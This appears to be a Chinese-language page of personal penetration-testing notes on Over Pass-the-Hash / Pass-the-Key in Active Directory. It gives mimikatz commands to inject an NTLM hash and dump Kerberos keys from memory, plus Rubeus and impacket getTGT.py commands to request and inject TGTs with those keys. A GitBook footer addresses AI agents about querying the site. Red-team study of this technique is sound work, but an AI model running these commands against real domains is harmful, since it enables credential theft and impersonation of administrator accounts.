> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/active-directory/lateral-movement/over-pass-the-hash-pass-the-key.md).

# Over Pass-the-Hash / Pass-the-Key

Kerberos 支持多种密钥类型，包括 `RC4`, `AES128`，以及 `AES256`.

使用 `mimikatz`，以下命令会打开一个新会话，同时还会修改内存中的 Kerberos 上下文。

```bash
./mimikatz.exe

sekurlsa::pth /user:administrador /domain:whoami.local /ntlm:a87f3a337d73085c45f9416be5787d86
```

<figure><img src="/files/2e6088e177baaee6094172a6c656d5b5bde89913" alt=""><figcaption></figcaption></figure>

一旦加载了此上下文，我们就可以使用以下命令请求一个 TGT： `Rubeus`.

```bash
.\Rubeus.exe asktgt /domain:whoami.local /user:administrador /rc4:a87f3a337d73085c45f9416be5787d86 /ptt
```

该命令会获取该账户的 TGT，并将其直接注入到内存中。

<figure><img src="/files/5c0904618b771e484f546f38859718f7568c0b3b" alt=""><figcaption></figcaption></figure>

要查看某个账户在内存中存在的 Kerberos 密钥，我们可以使用 `sekurlsa::ekeys`.

```bash
./mimikatz.exe

sekurlsa::ekeys
```

然后我们会恢复同一密钥的多种表示形式，例如在 `RC4` 以及在 `AES256`.

<figure><img src="/files/e0c09bd1a5efef23fd0084081ae8ee39ac68ef4d" alt=""><figcaption></figcaption></figure>

然后我们就可以使用 AES 密钥请求一个 TGT。

```bash
.\Rubeus.exe asktgt /domain:whoami.local /user:administrador /aes256:ed4d2f076e72933e67f5da9e4f4e5f21da0ba8d491a20b40b4aaa377dc81d5b5 /ptt
```

在 Linux 下，同样的操作可以通过 `getTGT.py`.

```bash
getTGT.py whoami.local/administrador -hashes :a87f3a337d73085c45f9416be5787d86 
```

<figure><img src="/files/606a4c874c9cd27e4e781a93f72e7c3b7903836b" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/active-directory/lateral-movement/over-pass-the-hash-pass-the-key.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
